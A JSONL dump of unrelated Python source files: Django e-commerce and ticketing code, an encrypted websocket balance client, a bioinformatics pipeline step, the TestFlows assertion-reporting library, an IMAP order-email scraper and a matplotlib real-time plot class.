dict()\n total_price = 0\n for product_id, num in cart.items():\n product = Product.objects.get(id=product_id)\n cart_products[product] = num\n total_price += product.price * num\n context = {\n 'cart_products': cart_products,\n 'total_price': total_price,\n }\n return render(request, 'app/cart.html', context)\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"621946825","text":"# !/usr/bin/env python\n\n# WS client example\n\nimport asyncio\nimport base64\nimport json\nimport time\n\nimport websockets\nimport binascii\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Util import Counter\nfrom Crypto import Random\n\nkey_bytes = 16\napi_key = base64.b64decode(\"3cYdoIdwr3b49eyuH92oPw==\")\n\n\ndef encrypt(key, plaintext):\n assert len(key) == key_bytes\n\n # Choose a random, 16-byte IV.\n iv = Random.new().read(AES.block_size)\n\n # Convert the IV to a Python integer.\n iv_int = int(binascii.hexlify(iv), 16)\n\n # Create a new Counter object with IV = iv_int.\n ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)\n\n # Create AES-CTR cipher.\n aes = AES.new(key, AES.MODE_CTR, counter=ctr)\n\n # Encrypt and return IV and ciphertext.\n ciphertext = aes.encrypt(plaintext)\n return iv + ciphertext\n\n\ndef decrypt(key, ciphertext):\n assert len(key) == key_bytes\n\n # Convert the IV to a Python integer.\n iv_int = int(binascii.hexlify(ciphertext[:16]), 16)\n\n # Create a new Counter object with IV = iv_int.\n ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)\n\n # Create AES-CTR cipher.\n aes = AES.new(key, AES.MODE_CTR, counter=ctr)\n\n # Decrypt and return the plaintext.\n plaintext = aes.decrypt(ciphertext[16:])\n return plaintext\n\n\nasync def hello():\n websocket = await websockets.connect('ws://localhost:3145', ping_timeout=None)\n\n req = {\n \"type\": \"balance_info\",\n \"account_id\": '1',\n \"id\": 1,\n }\n await websocket.send(str(base64.standard_b64encode(encrypt(api_key, json.dumps(req))), \"utf-8\"))\n print('send request origin ', req)\n print('send request encrypt ', str(base64.standard_b64encode(encrypt(api_key, json.dumps(req))), \"utf-8\"))\n\n while True:\n response = await websocket.recv()\n print(\"receive response encrypt \", response)\n response = decrypt(api_key, base64.b64decode(response))\n response = json.loads(response)\n\n # if resp['type'] == 'balance_changed' or resp['type'] == 'balance_info':\n # print(f\"balance_changed {response}\")\n\n # if resp['type'] == 'sync_changed' and resp['is_synchronized']:\n # print(f\"sync_changed or is_synchronized {response}\")\n\n print(\"receive response origin \", response)\n time.sleep(5)\nasyncio.get_event_loop().run_until_complete(hello())\n\n\n\n\n\n\n\n\n# send request origin {'type': 'balance_info', 'account_id': '1', 'id': 1}\n# send request encrypt QwVxuiPXH5YTUSRv1aJ+Y2ZpjwT1Q+QXcyP0q2oKrtEGrsabzcJPa+LXrLfKTHwzMV/0CNWC+Ho4yT6ec5D5STkp19s=\n# receive response encrypt kdufVAXA0YH/rRt/eJ17znoBHaU9ahx7vq4CtbY5X0+zlqZgQ08032ACQ0Si3B8q9F1o9DMznxGu4AV8XJqPWlK57jlk7xvIbDmnlav+kqCLHLfk8DLpk07BPBh8aEIQU5XiCOrfRYzPQjWPsRUdyLmd7A==\n# receive response origin {'account_id': '1', 'type': 'balance_info', 'balance': 1782764007, 'available_balance': 1782764007, 'id': 1}\n# receive response encrypt Sr7ulOn//xciIdQuRf5nqpgu7x79CCFVU2JLYzaDcFMRgE1FW3Mun3oJEHCO+32X/HU0tM9IiYNkDk5em/CSZYVG87dnSXzbwyWp6NODXVag3o+/GaWP\n# receive response origin {'type': 'rollback_micro_block', 'epoch': 14020, 'offset': 59, 'statuses': {}}","sub_path":"websocket_example.py","file_name":"websocket_example.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"9774113","text":"\"\"\"CallHubTest URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.contrib.auth import views as auth_views\n\nfrom ticketApp import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('logout/', auth_views.LogoutView.as_view(), name='logout'),\n path('', views.home, name='home'),\n path('login/', auth_views.LoginView.as_view(), name='login'),\n path('register/', views.register, name='register'),\n path('create/', views.create, name='create'),\n path('open/', views.open_tickets, name='open'),\n path('closed/', views.closed_tickets, name='closed'),\n path('open/edit//', views.edit_tickets, name='edit'),\n path('open/edit//close_this_ticket', views.close_the_ticket, name='close_ticket')\n]\n","sub_path":"CallHubTest/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"153872425","text":"import os\nimport pandas as pd\n\nfrom celescope.__init__ import __VERSION__, ASSAY_DICT\nimport celescope.tools.utils as utils\nfrom celescope.tools.__init__ import __PATTERN_DICT__\nfrom celescope.tools.barcode import Chemistry\nfrom celescope.tools.step import Step, s_common\n\n\n@utils.add_log\ndef sample(args):\n \n step_name = \"sample\"\n step = Step(args, step_name)\n\n sample_name = args.sample\n assay = args.assay\n assay_description = ASSAY_DICT[assay]\n version = __VERSION__\n outdir = args.outdir\n chemistry = args.chemistry\n\n # get chemistry\n if chemistry == 'auto':\n fq1 = args.fq1\n ch = Chemistry(fq1)\n chemistry = ch.check_chemistry()\n chemistry = \",\".join(set(chemistry))\n else:\n chemistry = args.chemistry\n \n\n if not os.path.exists(outdir):\n os.system('mkdir -p %s' % outdir)\n\n stat = pd.DataFrame({\n \"item\": [\"Sample ID\", \"Assay\", \"Chemistry\", \"Software Version\"],\n \"count\": [sample_name, assay_description, chemistry, version],\n },\n columns=[\"item\", \"count\"]\n )\n stat_file = outdir + \"/stat.txt\"\n stat.to_csv(stat_file, sep=\":\", header=None, index=False)\n\n step.clean_up()\n\n return chemistry\n\n\ndef get_opts_sample(parser, sub_program):\n if sub_program:\n parser = s_common(parser)\n parser.add_argument('--fq1', help='read1 fq file')\n parser.add_argument('--chemistry', choices=list(__PATTERN_DICT__.keys()), help='chemistry version', default='auto')\n return parser\n \n","sub_path":"celescope/tools/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"170705431","text":"# Copyright 2019 Katteli Inc.\n# TestFlows.com Open-Source Software Testing Framework (http://testflows.com)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport ast\nimport copy\nimport inspect\nimport pprint\nimport difflib\nimport textwrap\nimport linecache\nimport itertools\nimport builtins\n\n__all__ = [\"error\", \"errors\", \"values\"]\n\n\nclass values(object):\n \"\"\"Obtains value so that expression\n does not need to be reinterpreted if\n assertion fails.\n \"\"\"\n\n __slots__ = (\"stack\",)\n\n def __init__(self):\n self.stack = []\n\n def __enter__(self):\n return self\n\n def __call__(self, x):\n self.stack.append(x)\n return x\n\n def __exit__(self, *args):\n pass\n\n\nclass AssertEval(ast.NodeVisitor):\n \"\"\"Asssertion expression evaluator.\n\n :param frame: frame where the assertion occured\n \"\"\"\n\n # Known types\n _simple = (\n ast.Num,\n ast.Str,\n ast.NameConstant,\n ast.Attribute,\n ast.Call,\n ast.BinOp,\n ast.UnaryOp,\n ast.IfExp,\n ast.BoolOp,\n ast.List,\n ast.Tuple,\n ast.Set,\n ast.Dict,\n ast.Starred,\n ast.Compare,\n )\n\n # operator symbols\n _op_symbols = {\n # boolean ops\n ast.And: \"and\",\n ast.Or: \"or\",\n # binary ops\n ast.Add: \"+\",\n ast.Sub: \"-\",\n ast.Mult: \"*\",\n ast.Div: \"/\",\n ast.Mod: \"%\",\n ast.Pow: \"**\",\n ast.LShift: \"<<\",\n ast.RShift: \">>\",\n ast.BitOr: \"|\",\n ast.BitXor: \"^\",\n ast.BitAnd: \"&\",\n ast.FloorDiv: \"//\",\n # compare ops\n ast.Eq: \"==\",\n ast.NotEq: \"!=\",\n ast.Lt: \"<\",\n ast.LtE: \"<=\",\n ast.Gt: \">\",\n ast.GtE: \">=\",\n ast.Is: \"is\",\n ast.IsNot: \"is not\",\n ast.In: \"in\",\n ast.NotIn: \"not in\",\n # unary ops\n ast.Invert: \"~\",\n ast.Not: \"not\",\n ast.UAdd: \"+\",\n ast.USub: \"-\",\n }\n\n # boolean operators\n _boolean_ops = {\n ast.And: lambda left, right: left and right,\n ast.Or: lambda left, right: left or right,\n }\n\n # binary operators\n _binary_ops = {\n ast.Add: lambda left, right: left + right,\n ast.Sub: lambda left, right: left - right,\n ast.Mult: lambda left, right: left * right,\n ast.Div: lambda left, right: left / right,\n ast.Mod: lambda left, right: left % right,\n ast.Pow: lambda left, right: left**right,\n ast.LShift: lambda left, right: left << right,\n ast.RShift: lambda left, right: left >> right,\n ast.BitOr: lambda left, right: left | right,\n ast.BitXor: lambda left, right: left ^ right,\n ast.BitAnd: lambda left, right: left & right,\n ast.FloorDiv: lambda left, right: left // right,\n }\n\n # unary operators\n _unary_ops = {\n ast.Invert: lambda operand: ~operand,\n ast.Not: lambda operand: not operand,\n ast.UAdd: lambda operand: +operand,\n ast.USub: lambda operand: -operand,\n }\n\n # comparison operators\n _compare_ops = {\n ast.Eq: lambda left, right: left == right,\n ast.NotEq: lambda left, right: left != right,\n ast.Lt: lambda left, right: left < right,\n ast.LtE: lambda left, right: left <= right,\n ast.Gt: lambda left, right: left > right,\n ast.GtE: lambda left, right: left >= right,\n ast.Is: lambda left, right: left is right,\n ast.IsNot: lambda left, right: left is not right,\n ast.In: lambda left, right: left in right,\n ast.NotIn: lambda left, right: left not in right,\n }\n\n class FuncResult(object):\n \"\"\"Result wrapper.\"\"\"\n\n def __init__(self, result):\n self.result = result\n\n def __repr__(self):\n return \"= \" + _saferepr(self.result)\n\n class DiffResult(object):\n \"\"\"Compare diffable result wrapper.\"\"\"\n\n def __init__(self, result, diff):\n self.result = result\n self.diff = diff\n\n def __repr__(self):\n return _saferepr(self.result) + \"\\n\" + self.diff\n\n def __init__(self, frame, frame_info):\n def error(desc=None):\n pass\n\n self.frame = frame\n self.frame_info = frame_info\n self.f_globals = self.frame.f_globals\n self.f_locals = dict(self.frame.f_locals)\n self.f_locals[\"error\"] = error\n self.nodes = []\n self.expression = None\n self._is_assert = False\n\n def eval(self):\n \"\"\"Evaluate assert expression.\"\"\"\n expression_ast = None\n if self.expression:\n expression_ast = ast.parse(self.expression)\n else:\n code = (\n self.frame_info.code_context[0].strip()\n if self.frame_info.code_context\n else None\n )\n if code is not None:\n expression = \"\"\n expression_ast = None\n sourcelines, startline = inspect.getsourcelines(self.frame)\n startline = max(1, startline)\n for i in range(self.frame_info.lineno - startline + 1, 0, -1):\n expression = sourcelines[i - 1] + expression\n try:\n self.expression = textwrap.dedent(expression).strip()\n expression_ast = ast.parse(self.expression)\n break\n except SyntaxError as e:\n pass\n self.expression = self.expression.split(\"\\n\")\n if expression_ast:\n self.visit(expression_ast)\n return self.expression, self.nodes\n\n def _diff(self, op, result, left, right):\n \"\"\"Return result that includes diff\n for a few left and right types.\n\n :param op: operator\n :param result: result of the comparison\n :param left: left side comparison value\n :param right: right side comparison value\n \"\"\"\n if (not op is ast.Eq) or result:\n return result\n\n diff_types = (str, list, tuple, dict, set)\n if (\n isinstance(left, diff_types)\n and isinstance(right, diff_types)\n and isinstance(right, type(left))\n ):\n if isinstance(left, str):\n left_repr = left.splitlines()\n right_repr = right.splitlines()\n else:\n left_repr = pprint.pformat(left).splitlines()\n right_repr = pprint.pformat(right).splitlines()\n diff = \"\\n\".join(\n itertools.islice(\n difflib.unified_diff(left_repr, right_repr, n=0, lineterm=\"\"),\n 2,\n None,\n )\n )\n return self.DiffResult(result, diff)\n\n return result\n\n def _find_operator(self, op_type, lineno, col_offset):\n \"\"\"Find an operator offset which is right before\n the specified line number and column offset.\n\n :param lineno: line number\n :param col_offset: column offset\n \"\"\"\n expression = self.expression[:lineno]\n expression[-1] = expression[-1][: col_offset + 1].rstrip(\"({[\")\n op_sym = self._op_symbols.get(op_type, None)\n if op_sym is None:\n raise RuntimeError(\"unknown operator type '%s'\" % op_type)\n for lineno, line in reversed(list(enumerate(expression, 1))):\n idx = line.rfind(op_sym)\n if idx >= 0:\n break\n # if we did not find the operator returns (1, -1)\n return lineno, idx\n\n def visit_Module(self, node):\n return self.visit(node.body[0])\n\n def visit_Expr(self, node):\n if not self._is_assert:\n raise RuntimeError(\"not called from the assert statement\")\n return self.visit(node.value)\n\n def visit_Assert(self, node):\n self._is_assert = True\n result = bool(self.visit(node.test))\n self.nodes.append((result, node))\n return result\n\n def visit_Compare(self, node):\n left = self.visit(node.left)\n result = left\n if not isinstance(node.left, self._simple):\n self.nodes.append((result, node.left))\n for idx, operator, comparator in zip(\n range(len(node.ops)), node.ops, node.comparators\n ):\n op = type(operator)\n func = self._compare_ops[op]\n right = self.visit(comparator)\n op_result = func(left, right)\n if idx > 0:\n result = result and op_result\n else:\n result = op_result\n if not isinstance(comparator, self._simple):\n self.nodes.append((right, comparator))\n _operator = copy.copy(operator)\n _operator.lineno, _operator.col_offset = self._find_operator(\n op, comparator.lineno, comparator.col_offset\n )\n self.nodes.append(\n (self.FuncResult(self._diff(op, op_result, left, right)), _operator)\n )\n left = right\n return result\n\n def visit_Attribute(self, node):\n value = self.visit(node.value)\n self.nodes.append((value, node))\n res = getattr(value, node.attr)\n self.nodes.append((self.FuncResult(res), node))\n return res\n\n def visit_Call(self, node):\n if isinstance(node.func, ast.Name):\n name = node.func.id\n else:\n name = self.visit(node.func)\n\n if callable(name):\n func = name\n elif name in self.f_locals:\n func = self.f_locals[name]\n elif name in self.f_globals:\n func = self.f_globals[name]\n elif getattr(builtins, name):\n func = getattr(builtins, name)\n else:\n raise NameError(\n \"Function '{}' is not defined\".format(name),\n node.lineno,\n node.col_offset,\n )\n\n if isinstance(func, values):\n if func.stack:\n result = func.stack.pop(0)\n else:\n result = None\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n starred = []\n args = []\n for arg in node.args:\n if isinstance(arg, ast.AST):\n arg_value = self.visit(arg)\n if not isinstance(arg, self._simple):\n self.nodes.append((arg_value, arg))\n args.append(arg_value)\n\n if args and isinstance(args[-1], ast.Starred):\n starred = args.pop(-1).value\n\n keywords = {}\n for keyword in node.keywords:\n keyword_value = self.visit(keyword.value)\n keywords[keyword.arg] = keyword_value\n if not isinstance(keyword.value, self._simple):\n self.nodes.append((keyword_value, keyword.value))\n\n value = func(*args, *starred, **keywords)\n self.nodes.append((self.FuncResult(value), node))\n return value\n\n def visit_Starred(self, node):\n result = self.visit(node.value)\n return ast.Starred(result, node.ctx)\n\n def visit_BinOp(self, node):\n op = type(node.op)\n func = self._binary_ops[op]\n left = self.visit(node.left)\n if not isinstance(node.left, self._simple):\n self.nodes.append((left, node.left))\n right = self.visit(node.right)\n if not isinstance(node.right, self._simple):\n self.nodes.append((right, node.right))\n result = func(left, right)\n _operator = copy.copy(node.op)\n _operator.lineno, _operator.col_offset = self._find_operator(\n op, node.right.lineno, node.right.col_offset\n )\n self.nodes.append((self.FuncResult(result), _operator))\n return result\n\n def visit_UnaryOp(self, node):\n op = type(node.op)\n func = self._unary_ops[op]\n operand = self.visit(node.operand)\n if not isinstance(node.operand, self._simple):\n self.nodes.append((operand, node.operand))\n result = func(operand)\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n def visit_IfExp(self, node):\n body = self.visit(node.body)\n if not isinstance(node.body, self._simple):\n self.nodes.append((body, node.body))\n test = self.visit(node.test)\n if not isinstance(node.test, self._simple):\n self.nodes.append((test, node.test))\n orelse = self.visit(node.orelse)\n if not isinstance(node.orelse, self._simple):\n self.nodes.append((orelse, node.orelse))\n result = body if test else orelse\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n def visit_BoolOp(self, node):\n op = type(node.op)\n operator = node.op\n func = self._boolean_ops[op]\n\n left = self.visit(node.values[0])\n if not isinstance(node.values[0], self._simple):\n self.nodes.append((left, node.values[0]))\n\n for value in node.values[1:]:\n right = self.visit(value)\n if not isinstance(value, self._simple):\n self.nodes.append((right, value))\n result = func(left, right)\n _operator = copy.copy(operator)\n _operator.lineno, _operator.col_offset = self._find_operator(\n op, value.lineno, value.col_offset\n )\n self.nodes.append((self.FuncResult(result), _operator))\n left = result\n return result\n\n def visit_Tuple(self, node):\n result = []\n for e in node.elts:\n v = self.visit(e)\n if not isinstance(e, self._simple):\n self.nodes.append((v, e))\n result.append(v)\n result = tuple(result)\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n def visit_Set(self, node):\n result = []\n for e in node.elts:\n v = self.visit(e)\n if not isinstance(e, self._simple):\n self.nodes.append((v, e))\n result.append(v)\n result = set(result)\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n def visit_List(self, node):\n result = []\n for e in node.elts:\n v = self.visit(e)\n if not isinstance(e, self._simple):\n self.nodes.append((v, e))\n result.append(v)\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n def visit_Dict(self, node):\n keys = []\n for k in node.keys:\n v = self.visit(k)\n if not isinstance(k, self._simple):\n self.nodes.append((v, k))\n keys.append(v)\n values = []\n for value in node.values:\n v = self.visit(value)\n if not isinstance(value, self._simple):\n self.nodes.append((v, value))\n values.append(v)\n result = dict(zip(keys, values))\n self.nodes.append((self.FuncResult(result), node))\n return result\n\n def generic_visit(self, node):\n # some expressions like comprehensions will have their\n # own local scope so therefore we combine globals and locals\n # scopes into one globals scope\n f_globals = self.f_globals.copy()\n f_globals.update(self.f_locals)\n if isinstance(node, ast.expr):\n bytecode = compile(ast.Expression(node), \"assertion node\", \"eval\")\n return eval(bytecode, f_globals)\n elif isinstance(node, ast.stmt):\n bytecode = compile(ast.Module([node]), \"assertion node\", \"exec\")\n return exec(bytecode, f_globals)\n return super(AssertEval, self).generic_visit(node)\n\n\ndef _code_block(filename, lineno, before=8, after=4):\n \"\"\"Retrieve code blocks around a given line\n inside the source.\n\n :param filename: name of the source file\n :param lineno: line number\n :param before: number of lines before the line number\n :param after: number of line after the line number\n \"\"\"\n min_n = max(lineno - before, 0)\n max_n = lineno + after\n\n line_fmt = \"%\" + str(len(str(max_n))) + \"d| %s\"\n lines = []\n\n for n in range(min_n, max_n):\n line = linecache.getline(filename, n)\n if n > min_n and len(line) == 0:\n break\n print_line = line_fmt % (n, line)\n if n == lineno:\n print_line = \"|> \".join(print_line.split(\"| \", 1))\n lines.append(print_line)\n\n return lines\n\n\nclass error(object):\n \"\"\"Error object that generates a descriptive\n error message when assert fails.\n\n :param desc: description, default: `None`\n :param frame: frame, default: `None`\n :param frame_info: frame info, default: `None`\n :param expression: expression, default: `None`\n :param nodes: a list of expression value nodes, default: `None`\n :param expression_section: a flag to include an expression section\n that lists the assert expression, default: `True`\n :param description_section: a flag to include a description section\n that shows custom description message, default: `True`\n :param values_section: a flag to include a values section\n that shows the values of the assert expression, default: `True`\n :param where_section: a flag to include a where section\n that shows source code where assert expression is found, default: `True`\n \"\"\"\n\n def __init__(\n self,\n desc=None,\n frame=None,\n frame_info=None,\n expression=None,\n nodes=None,\n expression_section=True,\n description_section=True,\n values_section=True,\n where_section=True,\n ):\n self.frame = frame\n if self.frame is None:\n self.frame = inspect.currentframe().f_back\n self.frame_info = frame_info\n if self.frame_info is None:\n self.frame_info = inspect.getframeinfo(self.frame)\n self.desc = str(desc) if desc is not None else None\n self.nodes = list(nodes) if nodes is not None else None\n self.expression = str(expression) if expression is not None else None\n self.expression_section = expression_section\n self.description_section = description_section\n self.values_section = values_section\n self.where_section = where_section\n self.message = self.generate()\n\n def __str__(self):\n return self.message\n\n def generate(self):\n \"\"\"Re-evaluate assertion statement and\n generate an error message.\n \"\"\"\n if self.nodes is None:\n self.expression, self.nodes = AssertEval(self.frame, self.frame_info).eval()\n return self.generate_message()\n\n def generate_expression_section(self):\n \"\"\"Return expression section.\"\"\"\n section = \"\"\n if self.expression_section and self.expression:\n section += \"\\n\\nThe following assertion was not satisfied\"\n for line in self.expression:\n section += \"\\n \" + line\n return section\n\n def generate_description_section(self):\n \"\"\"Return description section.\"\"\"\n section = \"\"\n if self.description_section and self.desc:\n section += \"\\n\\nDescription\"\n section += \"\\n \" + self.desc[0].capitalize() + self.desc[1:]\n return section\n\n def generate_values_section(self):\n \"\"\"Return values section.\"\"\"\n section = \"\"\n if self.values_section and self.nodes:\n section += \"\\n\\nAssertion values\"\n for v, n in self.nodes:\n for i, line in enumerate(self.expression):\n section += \"\\n \" + line\n if n.lineno == i + 1:\n col_offset = n.col_offset\n if col_offset < 0:\n col_offset = len(line) - len(line.lstrip())\n section += \"\\n \" + \" \" * col_offset + \"^ is \" + _saferepr(v)\n return section\n\n def generate_where_section(self):\n \"\"\"Return where section.\"\"\"\n section = \"\"\n if self.where_section and self.frame_info.code_context:\n section += \"\\n\\nWhere\"\n section += \"\\n File '%s', line %d in '%s'\" % (\n self.frame_info.filename,\n self.frame_info.lineno,\n self.frame_info.function,\n )\n\n section += \"\\n\\n\" + \"\".join(\n self.code_block(self.frame_info.filename, self.frame_info.lineno)\n )\n return section\n\n def generate_message(self):\n \"\"\"Generate an error message.\n\n :param expression: expression\n :param frame_info: frame info\n \"\"\"\n message = \"Oops! Assertion failed\"\n message += self.generate_expression_section()\n message += self.generate_description_section()\n message += self.generate_values_section()\n message += self.generate_where_section()\n return message\n\n def code_block(self, filename, lineno, before=8, after=4):\n \"\"\"Retrieve code blocks around a given line\n inside the source.\n\n :param filename: name of the source file\n :param lineno: line number\n :param before: number of lines before the line number\n :param after: number of line after the line number\n \"\"\"\n min_n = max(lineno - before, 1)\n max_n = lineno + after\n\n line_fmt = \"%\" + str(len(str(max_n))) + \"d| %s\"\n lines = []\n\n for n in range(min_n, max_n):\n line = linecache.getline(filename, n)\n if n > min_n and len(line) == 0:\n break\n print_line = line_fmt % (n, line)\n if n == lineno:\n print_line = \"|> \".join(print_line.split(\"| \", 1))\n lines.append(print_line)\n\n return lines\n\n\nclass errors(object):\n \"\"\"Context manager that can be used\n to wrap multiple assert statements.\n \"\"\"\n\n class softerror(object):\n \"\"\"Context manager that is used\n to wrap soft assertion.\n\n :param errors: list to which an exception will be added\n \"\"\"\n\n def __init__(self, errors):\n self.errors = errors\n\n def __enter__(self):\n pass\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if isinstance(exc_val, AssertionError):\n frame = inspect.currentframe().f_back\n frame_info = inspect.getinnerframes(exc_tb)[-1]\n desc = None\n if exc_val.args:\n if isinstance(exc_val.args[0], error):\n return\n desc = str(exc_val)\n exc_val.args = (error(desc=desc, frame=frame, frame_info=frame_info),)\n self.errors.append(exc_val)\n return True\n\n def __init__(\n self,\n expression_section=True,\n description_section=True,\n values_section=True,\n where_section=True,\n ):\n self.errors = []\n self.expression_section = expression_section\n self.description_section = description_section\n self.values_section = values_section\n self.where_section = where_section\n\n def __str__(self):\n errs = []\n for err in self.errors:\n err = err.args[0]\n err.expression_section = self.expression_section\n err.description_section = self.description_section\n err.values_section = self.values_section\n err.where_section = self.where_section\n errs.append(err.generate_message())\n return \"\\n\\nas well as the following assertion\\n\\n\".join(errs)\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if isinstance(exc_val, AssertionError):\n frame = inspect.currentframe().f_back\n frame_info = inspect.getinnerframes(exc_tb)[-1]\n desc = None\n if exc_val.args:\n if isinstance(exc_val.args[0], error):\n return\n desc = str(exc_val)\n exc_val.args = (error(desc=desc, frame=frame, frame_info=frame_info),)\n if self.errors:\n self.errors.append(exc_val)\n elif isinstance(exc_val, Exception):\n return\n\n if self.errors:\n raise AssertionError(self) from None\n\n def error(self):\n \"\"\"Return an instance of the soft\n error context manager.\n \"\"\"\n return self.softerror(self.errors)\n\n\ndef _saferepr(value):\n try:\n r = textwrap.indent(repr(value), \" \" * 2)\n return r.lstrip()\n except Exception as e:\n return \" (repr() failed with '%s')\" % str(e)\n","sub_path":"testflows/asserts/asserts.py","file_name":"asserts.py","file_ext":"py","file_size_in_byte":25290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"343024977","text":"import imapclient, pyzmail\n\nclass email_scr: \n\n def __init__(self):\n self.Client_Name = \"\"\n self.Order_No = 0\n self.Order_info = []\n self.Order_Details = \"\"\n self.Customer_email = \"\"\n self.Shipping_Details = \"\"\n self.Delivery_Meth = \"\"\n\n def toString(self):\n return str(\n \"Client Name: \" + self.Client_Name + \"\\n\"\n \"Order Number: \" + str(self.Order_No) + \"\\n\"\n \"Order Details: \" + self.Order_Details + \"\\n\" \n \"Shipping Number: \" + str(self.Shipping_No) + \"\\n\"\n \"Shipping Details: \" + self.Shipping_Details)\n\n def totup(self): \n email_tup = {self.Client_Name, self.Order_No, self.Order_Details, self.Shipping_No, self.Shipping_Details}\n return email_tup\n\n def parse_email(self, text_message):\n for i in text_message:\n if i == 'ORDER INFORMATION\\r':\n self.Order_info.append(text_message[i:i+15])\n elif i == 'Order #:':\n self.Order_No = i+1\n\n\n def login(self,email_val):\n email_reader = imapclient.IMAPClient('imap.gmail.com', ssl=True)\n email_reader.login( \"admin@nah.com\" , \"nmope\")\n\n email_reader.select_folder('INBOX', readonly=True)\n \n \n UIDs = email_reader.search(['SINCE','24-Apr-2020'])\n rawMessages = email_reader.fetch(UIDs, ['BODY[]'])\n message = pyzmail.PyzMessage.factory(rawMessages[UIDs[email_val]][b'BODY[]'])\n if message.get_subject() == 'NICE! YOU JUST GOT AN ORDER':\n message_text = message.text_part.get_payload().decode(message.text_part.charset)\n text_list = message_text.split('\\n')\n print(text_list)\n return parse_email(text_list)\n\n else:\n return 'done'\n","sub_path":"python/email_app/email_scr.py","file_name":"email_scr.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"433350070","text":"\"\"\"\n\nCreated by: Nathan Starkweather\nCreated on: 03/04/2016\nCreated in: PyCharm Community Edition\n\n\n\"\"\"\n__author__ = 'Nathan Starkweather'\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nimport matplotlib.pyplot as plt\nimport matplotlib.figure\nimport matplotlib.animation as anim\nimport numpy as np\n\n\ndef main():\n f = plt.figure()\n ax = f.add_subplot(1, 1, 1)\n x_data = np.arange(2*np.pi, step=2*np.pi / 100)\n sin_arg = x_data\n print(sin_arg)\n y_data = np.sin(sin_arg)\n line = ax.plot(x_data, y_data)[0]\n # f.show()\n i = 0\n # plt.show(False)\n # plt.draw()\n bkgd = f.canvas.copy_from_bbox(ax.bbox)\n from time import sleep, time\n f.show()\n start = time()\n for i in range(1000):\n x = x_data * i / 2\n y = np.sin(x)\n # print(x)\n line.set_data(x_data, y)\n f.canvas.restore_region(bkgd)\n f.draw_artist(ax)\n f.canvas.blit(ax.bbox)\n f.canvas.flush_events()\n end = time()\n print(\"FPS: %s\" % (1000 / (end - start)))\nfrom math import sin\n\nimport itertools\n\ndef iterdata():\n step = np.pi / 100\n xi = itertools.cycle(i * step for i in range(1000))\n while True:\n x = next(xi)\n y = sin(x)\n yield x, y\n\n\nimport collections\nimport threading\nfrom time import sleep\n\n\nclass SimpleRTPlot():\n \"\"\" Simple interface to a real-time plot based on matplotlib.\n Intended primarily as a learning tool to understand the basics of matplotlib.\n Extensive comments may be used as a result.\n \"\"\"\n\n def __init__(self, x_data=(), y_data=(), max_pts=None, style='ggplot'):\n\n # plots expect data to be np arrays\n # but np arrays can't be appended to\n # resulting in O(n^2) behavior\n # so store data python objects instead.\n\n # deque is used to more easily and efficiently\n # work with arbitrary limits on the total number\n # of data points\n\n # data is stored in separate containers for x and y\n # data, because that's how the plotting interface\n # works.\n\n x_data = collections.deque(x_data, max_pts)\n y_data = collections.deque(y_data, max_pts)\n\n self.x_data = x_data\n self.y_data = y_data\n self.max_pts = max_pts\n self.style = style\n\n self.clear_pyplot()\n\n self.data_lock = threading.RLock()\n self.pyplot_lock = threading.RLock()\n self.setup_complete = threading.Event()\n self.shutdown_complete = threading.Event()\n self.new_data = False\n self.stop_loop = False\n self.plot_thread = None\n self._init()\n\n def _init(self):\n self.thread_target = self.threadloop\n\n def clear_pyplot(self):\n self.figure = None\n self.subplot = None\n self.background = None\n self.line = None\n\n def setup_pyplot(self):\n plt.style.use(self.style)\n\n num = None\n figsize = None\n dpi = None\n facecolor = None\n edgecolor = None\n frameon = True\n fig_klass = matplotlib.figure.Figure\n\n # self.figure = plt.figure(num, figsize, dpi, facecolor, edgecolor, frameon, fig_klass)\n self.figure = plt.figure()\n self.subplot = self.figure.add_subplot(1, 1, 1)\n self.line, = self.subplot.plot(self.x_data, self.y_data)\n self.background = self.figure.canvas.copy_from_bbox(self.subplot.bbox)\n self.figure.show()\n # self.figure.draw()\n\n def show(self):\n self.clear_pyplot()\n self.setup_complete.clear()\n 